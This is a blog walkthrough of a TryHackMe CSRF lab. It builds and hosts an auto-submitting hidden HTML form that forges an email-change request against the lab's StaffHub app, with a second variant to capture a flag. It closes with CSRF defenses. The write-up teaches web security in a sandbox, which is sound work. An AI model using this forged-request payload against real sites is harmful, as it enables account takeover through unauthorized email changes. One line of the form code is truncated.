Post cover image

August 5, 2026

CSRF Introduction: A Practical Walkthrough with TryHackMe | By Nagaraju

By Dharavathnagaraju

3 min read

Note: This walkthrough is based on the TryHackMe CSRF Introduction room. I have intentionally skipped the first four tasks because they focus primarily on the theoretical concepts of CSRF, such as how the attack works, the Same-Origin Policy (SOP), CORS, and CSRF tokens.

This article covers Task 5 which contain the practical lab exercises where you'll exploit and understand CSRF vulnerabilities in a hands-on environment.

Before following this walkthrough, I highly recommend completing or reading through the first four tasks of the TryHackMe room to build a solid understanding of the underlying concepts. Once you're familiar with the theory, you can follow this guide to perform the practical exercises step by step.

In this article, we'll learn how attackers exploit CSRF vulnerabilities by crafting malicious requests and understand the defenses used to mitigate these attacks.

Task 5 Exploitation using HTML Form

Practical

In the attached VM, visit the StaffHub app at http://staffhub.thm:8080 and log in with the credentials user and user. Please use the mentioned domain name instead of accessing the web app using the IP address. Once you are logged in, visit the settings page, where you will find the option to change the email, as shown below:

Exploring the Application

First, we log in to the StaffHub application using the provided credentials:

Username: user
Password: user

After successfully logging in, I explored the application to understand its functionality. I inspected the available pages and gathered information such as the username, full name, email address, and other account details.

Next, I navigated to the Settings page, where I discovered a feature that allows users to change their email address. Since updating an email is a sensitive action, this functionality became the primary target for testing a potential CSRF vulnerability.

From here, we'll analyze how the email update request works and determine whether it can be forged by an attacker.

None None None

Create the Malicious Page

On the AttackBox, navigate to /var/www/html and create a file named settings.html. Add a hidden HTML form that sends a POST request to update_email.php with the attacker's email address and automatically submits the form using JavaScript.


root@ip-10-48-84-46:/var/www/html# nano settings.html
root@ip-10-48-84-46:/var/www/html# nano settings.html
<html>
<body>

<form action="http://staffhub.thm:8080/update_email.php" method="POST" id="atta>
<input type="hidden" name="email" value="attacker@evilmail.thm">
</form>

<script>
document.getElementById("attack").submit();

// redirect user after the request is sent
setTimeout(function() {
    window.location.href = "http://staffhub.thm:8080/settings.php";
}, 1000);
</script>

</body>
</html>

Host the Malicious Page

Start the Apache web server and ensure it is listening on port 81. The malicious page will then be accessible at:

http://<AttackBox-IP>:81/settings.html

Trigger the CSRF Attack

While still logged into StaffHub on the Target VM, open the malicious page (http://<AttackBox-IP>:81/settings.html) in the same browser. The hidden form is automatically submitted, causing the browser to send the forged request along with the authenticated session cookie.

None

Result

Since the application does not implement any CSRF protection, the server accepts the forged request and updates the user's email address to attacker@evilmail.thm, successfully demonstrating a Cross-Site Request Forgery (CSRF) attack.

Updating the Email to Retrieve the Second Flag

To complete the second part of the lab, simply modify the settings.html file on the AttackBox by changing the email value from attacker@evilmail.thm to special@evilmail.thm.

<input type="hidden" name="email" value="special@evilmail.thm">

Save the file and revisit the malicious page:

http://<AttackBox-IP>:81/settings.html
None

Since the application still lacks CSRF protection, the forged request is automatically submitted using the victim's authenticated session. The server updates the email address to special@evilmail.thm, triggering the second challenge flag.

This demonstrates that an attacker can easily modify the forged request to perform different actions as long as the application does not validate the request's origin or implement proper CSRF protections

Conclusion

In this walkthrough, we successfully exploited a Cross-Site Request Forgery (CSRF) vulnerability in the StaffHub application by creating a malicious HTML page that forged an authenticated request. The attack demonstrated that an attacker does not need to steal a user's session cookie or credentials; instead, they can trick the victim's browser into sending legitimate-looking requests using the victim's existing authenticated session.

This lab also highlights why sensitive actions such as updating account information should always be protected using CSRF tokens, SameSite cookies, and Origin/Referer validation. Without these security mechanisms, applications are vulnerable to unauthorized actions that can compromise user accounts.

Understanding how CSRF attacks work is essential for both penetration testers and web developers. As a security professional, being able to identify, exploit, and recommend proper mitigations for CSRF vulnerabilities is a valuable skill for securing modern web applications.